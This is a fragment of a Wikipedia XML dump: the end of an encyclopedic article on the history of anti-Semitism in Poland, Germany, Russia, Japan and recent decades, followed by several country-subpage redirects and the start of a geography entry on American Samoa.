In 1264, King [[Boleslaus V of Poland]] legislated a charter for Jewish residence and protection, hoping that Jewish settlement would contribute to the development of the Polish economy.  This charter, which encouraged money-lending, was a slight variation of the 1244 charter granted by the King of [[Austria]] to the Jews. By the sixteenth century, Poland had become the center of European Jewry and the most tolerant of all European countries regarding the matters of faith, although there were still occasionally violent anti-Semitic incidents.

At the onset of the seventeenth century, however, the tolerance began to give way to increased anti-Semitism. Elected to the Polish throne King [[Sigismund III]] of the Swedish [[House of Vasa]], a strong supporter of the [[counter-reformation]], began to undermine the principles of the [[Warsaw Confederation]] and the religious tolerance in the [[Polish-Lithuanian Commonwealth]], revoking and limiting privileges of all non-Catholic faiths. In 1628 he banned publication of [[Hebrew language|Hebrew]] books, including the [[Talmud]] [http://www.arts.gla.ac.uk/Slavonic/staff/Polcen16c.html]. Acclaimed twentieth century historian [[Simon Dubnow]], in his ''[[magnum opus]]'' ''History of the Jews in Poland and Russia'', detailed: 
:&quot;''At the end of the 16th century and thereafter, not one year passed without a blood libel trial against Jews in Poland, trials which always ended with the execution of Jewish victims in a heinous manner...&quot;'' (ibid., volume 6, chapter 4). 

In the 1650s the Swedish invasion of the Commonwealth ([[The Deluge]]) and the [[Chmielnicki Uprising]] of the [[Cossack]]s resulted in vast depopulation of the Commonwealth, as over 30% of the ~10 million population has perished or emigrated. In the related 1648-55 pogroms led by the Ukrainian [[Haidamak]]s uprising against Polish nobility ([[szlachta]]), during which approximately 100,000 Jews were slaughtered, Polish and [[Ruthenian]] peasants often participated in killing Jews (''The Jews in Poland'', Ken Spiro, 2001). The besieged szlachta, who were also decimated in the territories where the uprising happened, typically abandoned the loyal peasantry, townsfolk, and the Jews renting their land, in violation of &quot;rental&quot; contracts.

In the aftermath of the Deluge and Chmielnicki Uprising, many Jews fled to the less turbulent [[Netherlands]], which had granted the Jews a protective charter in 1619. From then until the [[Nazi]] deportations in 1942, the Netherlands remained a remarkably tolerant haven for Jews in Europe, excedeeing the tolerance extant in all other European countries at the time, and becoming one of the few Jewish havens until nineteenth century social and political reforms throughout much of Europe. Many Jews also fled to England, open to Jews since the mid-seventeenth century, in which Jews were fundamentally ignored and not typically persecuted.
Historian Berel Wein notes:
:&quot;''In a reversal of roles that is common in Jewish history, the victorious Poles now vented their wrath upon the hapless Jews of the area, accusing them of collaborating with the [[Cossack]] invader!... The Jews, reeling from almost five years of constant hell, abandoned their Polish communities and institutions...&quot;'' (''Triumph of Survival'', 1990).

Throughout the sixteenth to eighteenth century, many of the szlachta mistreated peasantry, townsfolk and Jews. Threat of mob violence was a specter over the Jewish communities in [[Polish-Lithuanian Commonwealth]] at the time. On one occasion in 1696, a mob threatened to massacre the Jewish community of Posin, [[Vitebsk]]. The mob accused the Jews of murdering a Pole. At the last moment, a peasant woman emerged with the victim's clothes and confessed to the murder. One notable example of actualized riots against Polish Jews is the rioting of 1716, during which many Jews lost their lives. Later, in 1723, the Bishop of [[Gdańsk]] instigated the massacre of hundreds of Jews. 

The legendary [[Abraham ben Abraham|Walentyn Potocki]], a Polish nobleman who converted to Judaism, is said to have been burned by [[auto da fe]] on May 24, 1749. In 1757, at the instigation of [[Jacob Frank]] and his followers, the Bishop of [[Kamianets-Podilskyi]] forced the Jewish rabbis to participate in a religious dispute with the quasi-Christian Frankists. Among the other charges, the Frankists claimed that the [[Talmud]] was full of heresy against Catholicism. The [[Roman Catholic Church|Catholic]] judges determined that the Frankists had won the debate, whereupon the Bishop levied heavy fines against the Jewish community and confiscated and burned all Jewish Talmuds. Polish anti-Semitism during the seventeenth and eighteenth century was summed up by Issac de Pinto as follows: &quot;''Polish Jews... who are deprived of all the privileges of society... who are despised and reviled on all sides, who are often persecuted, always insulted.... That contempt which is heaped on them chokes up all the seeds of virtue and honour....''&quot; ([[Issac de Pinto]], philosopher and economist, in a 1762 letter to [[Voltaire]]). 

On the other hand, it should be noted that despite the mentioned incidents, the [[Polish-Lithuanian Commonwealth]] was a relative haven for Jews when compared to the period of the [[partitions of Poland]] and the PLC's destruction in 1795 (see [[Anti-Semitism#Russia and the Soviet Union|Imperial Russia and the Soviet Union]], below).

Anti-Jewish sentiments continued to be present in Poland, even after the country regained its independence. One notable manifestation of these attitudes includes [[Numerus clausus#numerus clausus in Poland|numerus clausus]] rules imposed, by almost all Polish universities in the 1930's.  [[William W. Hagen]] in his ''Before the &quot;Final Solution&quot;: Toward a Comparative Analysis of Political Anti-Semitism in Interwar Germany and Poland'' article in ''Journal of Modern History (July, 1996): 1-31'', details:
:&quot;''In Poland, the semidictatorial government of [[Pilsudski]] and his successors, pressured by an increasingly vocal opposition on the radical and fascist right, implemented many anti-Semitic policies tending in a similar direction, while still others were on the official and semiofficial agenda when war descended in 1939.... In the 1930s the realm of official and semiofficial discrimination expanded to encompass limits on Jewish export firms... and, increasingly, on university admission itself. In 1921-22 some 25 percent of Polish university students were Jewish, but in 1938-39 their proportion had fallen to 8 percent.''&quot; 

While there are many examples of Polish support and help for the Jews during World War II and the Holocaust, there are also numerous examples of anti-Semitic incidents, and the Jewish population was certain of the indifference towards their fate from the Christian Poles. The Polish Institute for National Memory identified twenty-four [[pogroms]] against Jews during World War II, the largest occurring at the village of [[Jedwabne]] in 1941 (see [[massacre in Jedwabne]]).

After the end of World War II the remaining anti-Jewish sentiments were skillfully used at certain moments by communist party or individual politicians in order to achieve their assumed political goals, which pinnacled in the [[March 1968 events]]. These sentiments started to diminish only with the collapse of the [[communist]] rule in Poland in 1989, which has resulted in a re-examination of events between Jewish and Christian Poles, with a number of incidents, like the masscre at Jedwabne, being discussed openly for the first time. Violent anti-semitism in Poland in 21st century is marginal[http://www.tau.ac.il/Anti-Semitism/asw2004/graph-7.jpg] compared to elsewhere, but there are very few Jews remaining in Poland. Still, according to recent (June 7, 2005) results of research by [[B'nai Brith]]s [[Anti-Defamation League]], Poland remains among the European countries (with others being Italy, Spain and Germany) with the largest percentages of people holding anti-Semitic views.

Poland is actively trying to address concerns about anti-semitism.  In 2004, the Polish government approved a National Action Program against racism, including anti-semitism. Additionally the Polish Catholic Church has widely distributed materials promoting the need for respect and cooperation with Judaism.

==== Germany ====
[[Image:dstsatan.jpeg|thumb|200px|Der St&amp;uuml;rmer: &quot;Satan&quot;. The caption reads: &quot;The Jews are our misfortune.&quot;]]
''See main articles: [[History of the Jews in Germany]], [[Holocaust]]''

From the early Middle Ages to the 18th century, the Jews in Germany were subject to many persecutions as well as brief times of tolerance.  Though the 19th century began with a series of riots and pogroms against the Jews, [[Jewish emancipation|emancipation]] followed in 1848, so that, by the early 20th century, the Jews of Germany were the most integrated in Europe.  The situation changed in the early 1930's with the rise of the [[Nazi]]s and their explicity anti-Semitic program. [[Hate speech]] which referred to [[Jew]]ish citizens as &quot;dirty Jews&quot; became common in anti-Semitic pamphlets and [[newspaper]]s such as the ''[[Völkischer Beobachter]]'' and ''[[Der Stürmer]]''. Additionally, blame was laid on German Jews for having caused Germany's defeat in [[World War I]] (see ''[[Dolchstosslegende]]'').
[[Image:Der Giftpilz - Gott des Juden - Nazi propaganda.jpg|thumb|left|200px|Nazi propaganda for German children from [[Julius Streicher]]'s publication [http://www.calvin.edu/academic/cas/gpa/thumb.htm ''Der Giftpilz'' (Toadstool)], 1938. The caption reads: &quot;The God of the Jew is Money. And to gain money, he will commit the greatest crimes….&quot;]]

Anti-Jewish propaganda expanded rapidly.  Nazi cartoons depicting &quot;dirty Jews&quot; frequently portrayed a dirty, physically unattractive and badly dressed &quot;talmudic&quot; Jew in traditional religious garments similar to those worn by [[Hasidic Judaism|Hasidic Jews]]. Articles attacking Jewish Germans, while concentrating on commercial and political activities of prominent Jewish individuals, also frequently attacked them based on religious dogmas, such as [[blood libel]].

The Nazi anti-Semitic program quickly expanded beyond mere speech.  Starting in 1933, repressive laws were passed against Jews, culminating in the [[Nuremberg Laws]] which removed most of the rights of citizenship from Jews, using a racial definition based on descent, rather than any religious definition of who was a Jew.  Sporadic violence against the Jews became widespread with the [[Kristallnacht]] riots, which targeted Jewish homes, businesses and places of worship, killing hundreds across Germany and Austria.

The anti-Semitic agenda culminated in the [[genocide]] of the Jews of Europe, known as the [[Holocaust]].

==== Russia and the Soviet Union ====
[[Image:Iudaism bez prikras 63-7.gif|right|thumb|&quot;Judaism Without Embellishments&quot; by Trofim Kichko, published by the Academy of Sciences of the Ukrainian SSR in 1963: &quot;It is in the teachings of Judaism, in the Old Testament, and in the Talmud, that the Israeli militarists find inspiration for their inhuman deeds, racist theories, and expansionist designs...&quot;]]
''Main articles: [[History of the Jews in Russia and Soviet Union]], [[Pogrom]]''

The [[Pale of Settlement]] was the Western region of [[Imperial Russia]] to which Jews were restricted by the Tsarist [[Ukase]] of 1792. It consisted of the territories of former [[Polish-Lithuanian Commonwealth]], annexed with the existing numerous Jewish population, and the [[Crimea]] (which was later cut out from the Pale). 

During 1881-1884, 1903-1906 and 1914-1921, waves of anti-Semitic [[pogrom]]s swept Russian Jewish communities. At least some pogroms are believed to have been organized or supported by the Russian [[okhranka]]; although there is no hard evidence for this, the Russian police and army generally displayed indifference to the pogroms (e.g. during the three-day [[Kishinev pogrom|First Kishinev pogrom]] of 1903), as well as to anti-Jewish articles in newspapers which often instigated the pogroms.

During this period the [[May Laws]] policy was also put into effect, banning Jews from rural areas and towns, and placing strict quotas on the number of Jews allowed into higher education and many professions. The combination of the repressive legislation and pogroms propelled mass Jewish emigration, and by 1920 more than two million Russian Jews had emigrated, most to the [[United States]] while some made [[aliya]] to the [[Land of Israel]].

One of the most infamous anti-Semitic tractates was the Russian okhranka literary [[hoax]], ''[[The Protocols of the Elders of Zion]]'', created in order to blame the Jews for Russia's problems during the period of revolutionary activity. 

Even though many [[Old Bolsheviks]] were ethnically Jewish, they sought to uproot Judaism and Zionism and established the [[Yevsektsiya]] to achieve this goal. By the end of the 1940s the Communist leadership of the former USSR had liquidated almost all Jewish organizations, including Yevsektsiya. 

The anti-Semitic campaign of 1948-1953 against so-called &quot;[[rootless cosmopolitans]],&quot; destruction of the [[Jewish Anti-Fascist Committee]], the fabrication of the &quot;[[Doctors' plot]],&quot; the rise of &quot;[[Zionology]]&quot; and subsequent activities of official organizations such as the [[Anti-Zionist committee of the Soviet public]] were officially carried out under the banner of &quot;anti-Zionism,&quot; but the use of this term could not obscure the anti-Semitic content of these campaigns, and by the mid-1950s the state persecution of Soviet Jews emerged as a major human rights issue in the West and domestically. See also: [[Jackson-Vanik amendment]], [[Refusenik (Soviet Union)|Refusenik]], [[Pamyat]].

Today, anti-Semitic pronouncements, speeches and articles are common in Russia, and there are a large number of anti-Semitic neo-Nazi groups in the republics of the former Soviet Union, leading Pravda to declare in 2002 that &quot;Anti-semitism is booming in Russia&quot;[http://english.pravda.ru/main/2002/07/30/33489.html]. Over the past few years there have also been bombs attached to anti-Semitic signs, apparently aimed at Jews, and other violent incidents, including stabbings, have been recorded.

Though the government of [[Vladimir Putin]] takes an official stand against anti-semitism, some political parties and groups are explicitly anti-Semitic, in spite of a Russian law (Art. 282) against fomenting racial, ethnic or religious hatred.  In 2005, a group of 15 [[Duma]] members demanded that Judaism and Jewish organizations be banned from Russia.  In June, 500 prominent Russians, including some 20 members of the nationalist ''Rodina'' party, demanded that the state prosecutor investigate ancient Jewish texts as &quot;anti-Russian&quot; and ban Judaism &amp;mdash; the investigation was actually launched, but halted amid international outcry.

=== Asia ===
==== Japan ====
{{main|Antisemitism in Japan}}
Originally Japan, with no Jewish population, had no anti-Semitism but Nazi ideology and propaganda left an influence on Japan during World War II, and the Protocols of the Elders of Zion were translated into Japanese.  Today, anti-Semitism and belief in Jewish manipulation of Japan and the world remains despite the lack of any Jewish community in Japan.  Books about Jewish conspiracies are best sellers. According to a 1988 survey, 8% of Japanese had read one of these books.

== Anti-Semitism and anti-Zionism ==
[[Anti-Zionism]] is a term that has been used to describe several very different political and religious points of view (both historically and in current debates) all expressing some form of opposition to [[Zionism]]. A large variety of commentators - politicians, journalists, academics and others - believe that criticisms of Israel and Zionism are often disproportionate in degree and unique in kind, and attribute this to anti-Semitism. In turn, critics of this view believe that associating anti-Zionism with anti-Semitism is intended to stifle debate, deflect attention from valid criticism, and taint anyone opposed to Israeli actions and policies. This subject is discussed in the main article on [[Anti-Zionism]].

[[Image:Tishreen-Apr-30-2000.jpg|right|200px|thumb|Cartoon from the Syrian Arab daily newspaper Tishreen (Apr 30, 2000). Negative [[zoomorphism]] is commonly used in anti-Semitic discourse.]]

=== New anti-Semitism ===
{{main|New anti-Semitism}}
In recent years some scholars of history, psychology, religion and representatives of Jewish groups, have noted what they describe as the ''new anti-Semitism'', which uses the language of anti-Zionism and criticism against Israel to attack the Jews more broadly.

The European Commission on Racism and Intolerance formally defined some of the ways in which anti-Zionism may cross the line to anti-Semitism: &quot;Examples of the ways in which anti-Semitism manifests itself with regard to the State of Israel taking into account the overall context could include: Denying the Jewish people right to [[self-determination]], e.g. by claiming that the existence of a state of Israel is a racist endeavor; applying double standards by requiring of it a behavior not expected or demanded of any other democratic nation; using the symbols and images associated with classic anti-Semitism (e.g. claims of Jews killing Jesus or blood libel) to characterize Israel or Israelis; drawing comparisons of contemporary Israeli policy to that of the Nazis; and holding Jews collectively responsible for actions of the State of Israel.&quot;

== Anti-Semitism in the 21st century ==
According to the 2005 U.S. State Department Report on Global Anti-Semitism, anti-Semitism in Europe has increased significantly in recent years. Beginning in 2000, verbal attacks directed against Jews increased while incidents of vandalism (e.g. graffiti, fire bombings of Jewish schools, desecration of synagogues and cemeteries) surged. Physical assaults including beatings, stabbings and other violence against Jews in Europe increased markedly, in a number of cases resulting in serious injury and even death.

On [[January 1]], [[2006]], Britain's chief [[rabbi]], Sir [[Jonathan Sacks]], warned that what he called a &quot;[[tsunami]] of anti-Semitism&quot; was spreading globally. In an interview with BBC's [[Radio Four]], Sacks said that anti-Semitism was on the rise in Europe, and that a number of his rabbinical colleagues had been assaulted, synagogues desecrated, and Jewish schools burned to the ground in France. He also said that: &quot;People are attempting to silence and even ban Jewish societies on campuses on the grounds that Jews must support the state of Israel, therefore they should be banned, which is quite extraordinary because ... British Jews see themselves as British citizens. So it's that kind of feeling that you don't know what's going to happen next that's making ... some European Jewish communities uncomfortable.&quot; [http://www.guardian.co.uk/religion/Story/0,2763,1676509,00.html]

Much of the new European anti-Semitic violence can actually be seen as a spill over from the long running Israeli-Arab conflict since the majority of the perpetrators are from the large immigrant Arab communities in European cities.  According to ''The Stephen Roth Institute for the Study of Contemporary Antisemitism and Racism'', most of the current anti-Semitism comes from militant Islamist and Muslim groups, and most Jews tend to be assaulted in countries where groups of young Muslim immigrants reside. [http://www.tau.ac.il/Anti-Semitism/asw2004/general-analysis.htm] 

Similarly, in the Middle East, anti-Zionist propaganda frequently adopts the terminology and symbols of the Holocaust to demonize Israel and its leaders. This rhetoric often crosses the line separating the legitimate criticism of Israel and its policies to become anti-Semitic vilification posing as legitimate political commentary. At the same time, Holocaust denial and Holocaust minimization efforts find increasingly overt acceptance as sanctioned historical discourse in a number of Middle Eastern countries.

The problem of anti-Semitism is not only significant in Europe and in the Middle East, but there are also worrying expressions of it elsewhere. For example, in Pakistan, a country without a Jewish community, anti-Semitic sentiment fanned by anti-Semitic articles in the press is widespread. This reflects the more recent phenomenon of anti-Semitism appearing in countries where historically or currently there are few or even no Jews.

== See also ==
{{commons|Category:Anti-Semitism}}
* [[Jew]]s and [[Judaism]]
** [[Jewish history]]
* Other articles on anti-Semitism:
** [[History of anti-Semitism]]
** [[Christianity and anti-Semitism]]
** [[Christian opposition to anti-Semitism]]
** [[Anti-globalization and Anti-Semitism]]
** [[Arab anti-Semitism]]
*** [[Saudi Arabia and anti-Semitism]]
** [[Islam and anti-Semitism]]
** [[New anti-Semitism]]
** [[Persecution of the Jews]]
* Related topics:
** [[Allophilia]]
** [[Anti-Zionism]]
** [[Judeophobia]]
** [[Self-hating Jew]]
** [[Racism]]
* Topics related to religious anti-Semitism:
** [[Anti-Judaism]]
** [[Spanish Inquisition]]
** [[Blood libel]]
*** [[Menahem Mendel Beilis|Beilis trial]] in Russia
** [[Host desecration]]
** [[Edgardo Mortara]]
* Anti-semitic laws, policies, and government actions
** [[Pogrom]]s in Russia
** [[May Laws]] in Russia
** [[March 1968 events]] in Poland
** [[Dreyfus affair]] in France
** [[Farhud]] in Iraq
** [[General Order No. 11]] in the United States
** [[Historical revisionism (political)]]
* [[Nazi]] Germany and the [[Holocaust]]
** [[Racial policy of Nazi Germany]] 
* Anti-semitic websites
** [[Jew Watch]]
** [[Radio Islam]]
** [[Institute for Historical Review]]
* Organizations working against anti-Semitism
** [[Simon Wiesenthal Center]]
** [[Anti-Defamation League]]
**[[Jewish Defense League]][http://www.jdl.org.il]
* Other concepts
** [[Religious Persecution]]
** [[Persecution of Christians]]
** [[Persecution of Muslims]]
** [[Persecution of Hindus]]
** [[Persecution of Atheists]]

== References ==
*John M. G. Barclay, ''Jews in the Mediterranean Diaspora: From Alexander to Trajan (323 BCE-117 CE)''.  University of California, 1999.
*Pieter Willem Van Der Horst, ''Philo's Flaccus: the First Pogrom''.  Philo of Alexandria Commentary Series. Brill. 2003.
*Bodansky, Yossef. ''Islamic Anti-Semitism as a Political Instrument'', Freeman Center For Strategic Studies, 1999
*Gideon Bohak, &quot;The Ibis and the Jewish Question: Ancient 'Anti-Semitism' in Historical Context&quot; in Menachem Mor et al, ''Jews and Gentiles in the Holy Land in the Days of the Second Temple, the Mishna and the Talmud''.   Jerusalem:  Yad Ben-Zvi Press, 2003. p 27-43.
*Carr, Steven Alan. ''Hollywood and anti-Semitism: A cultural history up to World War II'', Cambridge University Press 2001
*Cohn, Norman. ''Warrant for Genocide'', Eyre &amp; Spottiswoode 1967; Serif, 1996.
*Freudmann, Lillian C. ''Antisemitism in the New Testament'', University Press of America, 1994.
*Gillan, Audrey. [http://www.guardian.co.uk/religion/Story/0,2763,1676509,00.html &quot;Chief rabbi fears 'tsunami' of hatred&quot;], ''The Guardian'', January 2, 2006
*Hilberg, Raul. ''[[The Destruction of the European Jews]]''. Holmes &amp; Meier, 1985. 3 volumes
*Lipstadt, Deborah. ''Denying the Holocaust: The Growing Assault on Truth and Memory'', Penguin, 1994.
*Matas, David. ''Aftershock: Anti-Zionism and anti-Semitism''. Dundurn Press, 2005.
*A M Roth, Norman Roth, Jews, Visigoths and Muslims in Medieval Spain, Brill Academic, 1994.
*Selzer, Michael (ed).  ''&quot;Kike!&quot; : A documentary history of anti-semitism in America'', New York 1972 
*[http://www.state.gov/g/drl/rls/40258.htm ''U.S. State Department Report on Global Anti-Semitism'', 2005.]
*[http://www.adl.org/antisemitism_survey/survey_print.asp Anti-Semitism and Prejudice in America]
*Peter Schafer.  ''Judeophobia'', Cambridge: Harvard University Press. 1997. p 208.

== External links ==
*[http://www.aish.com/seminars/whythejews/ Why the Jews? A perspective on causes of anti-Semitism]
*[http://www.antisemitism.org.il/ Coordination Forum for Countering Antisemitism] (with up to date calendar of anti-semitism today)
*[http://har2.huji.ac.il:83/ALEPH/ENG/SAS/BAS/BAS/START Annotated bibliography of anti-Semitism] hosted by the Hebrew University of Jerusalem's Center for the Study of Antisemitism (SICSA)
*[http://www.jewishvirtuallibrary.org/jsource/antisem.html Anti-Semitism and responses]
*[http://www.tau.ac.il/Anti-Semitism/ The Stephen Roth Institute for the Study of Contemporary anti-Semitism and Racism] hosted by the Tel Aviv University - (includes an annual report)
*[http://www.shma.com/nov02/pierre.htm Jews, the End of the Vertical Alliance, and Contemporary Antisemitism]
*[http://www.masada2000.org/Who-Us.html An Israeli point of view on antisemitism, by Steve Plaut]
*[http://www.commentarymagazine.com/article.asp?aid=11906035_1 The Anti-Semitic Disease] - an analysis of Anti-Semitism by [[Paul Johnson (journalist)|Paul Johnson]] in ''[[Commentary Magazine]]''
*[http://www.coe.int/t/E/human_rights/ecri/1-ECRI/2-Country-by-country_approach/ Council of Europe, ECRI Country-by-Country Reports]
*[http://info-poland.buffalo.edu/classroom/J/ State University of New York at Buffalo, The Jedwabne Tragedy]
*[http://www.cyberroad.com/poland/jews_today.html Jews in Poland today]
*[http://www.adl.org/main_Anti_Semitism_International/Default.htm  Anti-Defamation League's report on International Anti-Semitism]
*[http://memri.org/ The Middle East Media Research Institute] - documents antisemitism in Middle-Eastern media. 
**[http://www.philosophistry.com/specials/europe/ Map of Attitudes Toward Jews in 12 European Countries] based on a [http://www.adl.org/main_Anti_Semitism_International/as_survey_2005.htm 2005 ADL Survey]
*[http://www.zionism-israel.com/his/judeophobia.htm Judeophobia: A short course on the history of anti-Semitism] at [http://www.zionism-israel.com] Zionism and Israel Information Center. 
*[http://www.zionism.netfirms.com/ArabAntiZionism.htm Arab and Muslim Anti-Zionism and anti-Semitiem] A mini study with extensive links and resources.
*[http://www.pinteleyid.com If Not Together, How?]: Research by April Rosenblum to develop a working definition of antisemitism, and related teaching tools about antisemitism, for activists.

[[Category:Anti-Semitism|*]]

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      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>128.227.167.135</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Azerbaijan]]</text>
    </revision>
  </page>
  <page>
    <title>Armenia/Geography</title>
    <id>1091</id>
    <revision>
      <id>15899596</id>
      <timestamp>2002-08-03T16:41:54Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Geography of Armenia</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Armenia]]</text>
    </revision>
  </page>
  <page>
    <title>Armenia/People</title>
    <id>1092</id>
    <revision>
      <id>15899597</id>
      <timestamp>2002-08-21T09:35:26Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[Demographics of Armenia]]</text>
    </revision>
  </page>
  <page>
    <title>Armenia/Government</title>
    <id>1093</id>
    <revision>
      <id>15899598</id>
      <timestamp>2002-08-21T09:36:11Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Armenia]]</text>
    </revision>
  </page>
  <page>
    <title>Armenia/Economy</title>
    <id>1094</id>
    <revision>
      <id>15899599</id>
      <timestamp>2002-08-03T16:44:16Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Economy of Armenia</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Armenia]]</text>
    </revision>
  </page>
  <page>
    <title>Armenia/Communications</title>
    <id>1095</id>
    <revision>
      <id>15899600</id>
      <timestamp>2002-08-18T19:25:01Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Communications in Armenia]]</text>
    </revision>
  </page>
  <page>
    <title>Armenia/Transportation</title>
    <id>1096</id>
    <revision>
      <id>15899601</id>
      <timestamp>2002-08-18T19:25:24Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Transportation in Armenia]]</text>
    </revision>
  </page>
  <page>
    <title>Armenia/Military</title>
    <id>1097</id>
    <revision>
      <id>15899602</id>
      <timestamp>2002-08-04T10:20:33Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Military of Armenia</comment>
      <text xml:space="preserve">#REDIRECT [[Military of Armenia]]</text>
    </revision>
  </page>
  <page>
    <title>Armenia/Transnational issues</title>
    <id>1098</id>
    <revision>
      <id>15899603</id>
      <timestamp>2002-08-18T19:26:07Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Armenia]]</text>
    </revision>
  </page>
  <page>
    <title>Argentina/Geography</title>
    <id>1099</id>
    <revision>
      <id>15899604</id>
      <timestamp>2002-08-03T16:32:47Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Geography of Argentina</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Argentina]]</text>
    </revision>
  </page>
  <page>
    <title>Argentina/People</title>
    <id>1100</id>
    <revision>
      <id>15899605</id>
      <timestamp>2002-08-21T09:45:12Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[Demographics of Argentina]]</text>
    </revision>
  </page>
  <page>
    <title>Argentina/Government</title>
    <id>1101</id>
    <revision>
      <id>15899606</id>
      <timestamp>2002-08-18T19:29:16Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <minor />
      <comment>cleaning up</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Argentina]]</text>
    </revision>
  </page>
  <page>
    <title>Argentina/Economy</title>
    <id>1102</id>
    <revision>
      <id>15899607</id>
      <timestamp>2002-08-03T16:35:09Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Economy of Argentina</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Argentina]]</text>
    </revision>
  </page>
  <page>
    <title>Argentina/Communications</title>
    <id>1103</id>
    <revision>
      <id>15899608</id>
      <timestamp>2002-08-18T19:29:48Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <minor />
      <comment>cleaning up</comment>
      <text xml:space="preserve">#REDIRECT [[Communications in Argentina]]</text>
    </revision>
  </page>
  <page>
    <title>Argentina/Transportation</title>
    <id>1104</id>
    <revision>
      <id>15899609</id>
      <timestamp>2002-08-18T19:30:00Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <minor />
      <comment>cleaning up</comment>
      <text xml:space="preserve">#REDIRECT [[Transportation in Argentina]]</text>
    </revision>
  </page>
  <page>
    <title>Argentina/Transnational issues</title>
    <id>1105</id>
    <revision>
      <id>15899610</id>
      <timestamp>2002-08-18T19:30:31Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <minor />
      <comment>cleaning up</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Argentina]]</text>
    </revision>
  </page>
  <page>
    <title>Argentina/Military</title>
    <id>1106</id>
    <revision>
      <id>15899611</id>
      <timestamp>2002-08-03T16:37:46Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Military of Argentina</comment>
      <text xml:space="preserve">#REDIRECT [[Military of Argentina]]</text>
    </revision>
  </page>
  <page>
    <title>Argentina/History</title>
    <id>1107</id>
    <revision>
      <id>15899612</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Argentina]]
</text>
    </revision>
  </page>
  <page>
    <title>Argentina/Foreign relations</title>
    <id>1108</id>
    <revision>
      <id>15899613</id>
      <timestamp>2002-08-03T16:38:45Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Foreign relations of Argentina</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Argentina]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of American Samoa</title>
    <id>1109</id>
    <revision>
      <id>26994978</id>
      <timestamp>2005-10-31T18:53:26Z</timestamp>
      <contributor>
        <username>Marshman</username>
        <id>16734</id>
      </contributor>
      <text xml:space="preserve">This article describes the '''[[geography]] of [[American Samoa]]'''.

[[Image:aq-map.png|right|American Samoa]]
[[Image:American Samoa.png|thumb|300px|Tutuila Island - NASA NLT Landsat 7 (Visible Color) Satellite Image]]
; Location:
: Oceania, group of islands in the South [[Pacific Ocean]], about two thirds of the way from Hawaii to New Zealand
; Geographic coordinates:
: {{coor dm|14|20|S|170|0|W|}}
; Map references:
: Oceania
; Area:
:* Total: 199 [[square kilometre|km²]]
:* Land: 199 km&amp;sup2;
:* Water: 0 km&amp;sup2;
:* Note: Includes [[Rose Atoll]] and [[Swains Island]]
; Area - comparative:
: Slightly larger than Washington, DC
; Land boundaries:
: 0 km
; Coastline:
: 116 km
; Maritime claims:
:* [[Exclusive economic zone]]: 200 nm (370.4 km)
:* [[Territorial sea]]: 12 nm (22.2 km)
; Climate:
: Tropical marine, moderated by southeast [[trade wind]]s; annual rainfall averages about 3 m; [[rainy season]] from November to April, [[dry season]] from May to October; little seasonal temperature variation
; Island Names in order of size:
: [[Tutuila]], [[Tau, Samoa|Ta&amp;lsquo;&amp;#363;]], [[Ofu-Olosega|Ofu]], [[Ofu-Olosega|Olosega]], [[Aunuu|Aunu&amp;lsquo;u]], [[Swains Island]], [[Rose Atoll]]
; Terrain:
: Five volcanic islands with rugged peaks and limited coastal plains, two coral atolls (Rose and Swains)
; Elevation extremes:
:* Lowest point: Pacific Ocean 0 m
:* Highest point: Lata 966 m
; Natural resources:
: [[Pumice]], [[pumicite]]
; Land use:
:* [[Arable land]]: 5%
:* Permanent crops: 10%
:* Permanent pastures: 0%
:* Forests and woodland: 70%
:* Other: 15% (1993 est.)
; [[Irrigated land]]:
: NA km&amp;sup2;
; Natural hazards:
: Hurricane season from December to March; Hurricane Heta struck Tutuila and Manu`a January, 2004.
: Landslides 
; Environment - current issues:
: Limited natural [[fresh water resources]]; the water division of the government has spent substantial funds in the past few years to expand well system, improve water catchments and pipelines
; Geography - note:
